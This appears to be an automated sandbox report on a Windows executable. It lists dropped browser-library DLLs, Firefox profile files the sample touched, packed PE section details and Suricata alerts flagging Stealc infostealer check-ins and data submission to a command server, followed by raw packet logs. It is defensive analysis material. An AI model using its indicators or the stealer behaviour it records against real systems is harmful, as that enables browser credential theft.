SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950168064232242
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'902'080 bytes
MD5:	f7b370ed882a5055e32f2ef666b25499
SHA1:	dca352d76830c9485f8525e56d79d92775ac6e13
SHA256:	66c97b3eb38c117b3d12e4565208c7770d6fe6f6f27cc7ece301de201cd8332f
SHA512:	7bdd8b1a7aafb7930f4e6d3fa967fbe91b4cf400efb7c9b02d52aed54fa72a334ef9cfd2d6e057c0c0942648bde7a2c04584d1a0c0a7e1b8c82df285c971a099
SSDEEP:	49152:fqfKU9arCsPnuahYTtUk13uYcWVKGNc5IzN:fqiU9whPYUk1+MYGNc5Iz
TLSH:	0F9533746AAA6DFEDBDC8770CBCB8AC1392092819D377DE47101233D25EEF609694D42
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xac1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0EB52AA1CAh
pmulhuw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0EB52AC1C5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ad7dbd9c68090f13e1403eba137ab860	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2b7000	0x200	8c9170ce1ebc238f6c834c07726345d9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aailmtrw	0x515000	0x1ab000	0x1aa400	8ce9987fd927f42dc918f5036c9cee44	False	0.9950335639662756	data	7.954173498139099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lijrvapx	0x6c0000	0x1000	0x400	c4d0392240e7a74b72127da44905dfc5	False	0.8125	data	6.3135742661217575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6c1000	0x3000	0x2200	66312c6683afd547e6798e3f3f90f3c8	False	0.06996783088235294	DOS executable (COM)	0.8912188815869346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T22:31:59.344877+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:00.643419+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:00.643453+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-08T22:32:00.883872+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:00.891111+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-08T22:32:02.270298+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:02.791617+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:08.404037+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:09.490247+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:10.195956+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:10.752728+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:12.500883+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:13.039570+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 22:31:58.349251032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:58.354865074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:31:58.354952097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:58.355106115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:58.361140966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:31:59.083004951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:31:59.083110094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:59.095844030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:59.100928068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:31:59.344821930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:31:59.344877005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:59.346167088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:31:59.351166964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.642586946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.643353939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.643366098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.643419027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.643452883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.643492937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.644084930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.644128084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.644567013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.649476051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883677006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883719921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883781910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883812904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883846998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883872032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.883882046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.883922100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.883946896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.884165049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.884218931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.884270906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.884352922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:00.884406090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.886110067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:00.891110897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.118858099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.121243000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:01.152460098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:01.152502060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:01.157398939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.157438993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.157594919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.157625914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.157680035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.157711983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.158210993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:01.158241034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.269149065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.270196915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.270298004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.561383963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.567193031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791455984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791502953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791542053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791616917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.791661978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.791770935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791805983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791841984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791858912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.791879892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791892052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.791918039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791929007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.791958094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.791970968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.792002916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.792553902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.792592049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.792612076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.792644024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.793627977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.793679953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.968205929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.968250990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.968286037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.968322039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.968422890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.968458891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.968934059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.968970060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969006062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969038963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969043016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969077110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969104052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969104052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969111919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969141960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969575882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969633102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969667912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969696045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969696045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969755888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.969763041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.969796896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970156908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.970664978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970700026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970737934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970772028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970788956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.970788956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.970788956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.970808983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.970833063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.970861912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.971642971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.971678972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.971712112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:02.971731901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:02.971731901 CEST	49704	80	192.168.2.5	185.215.113.37
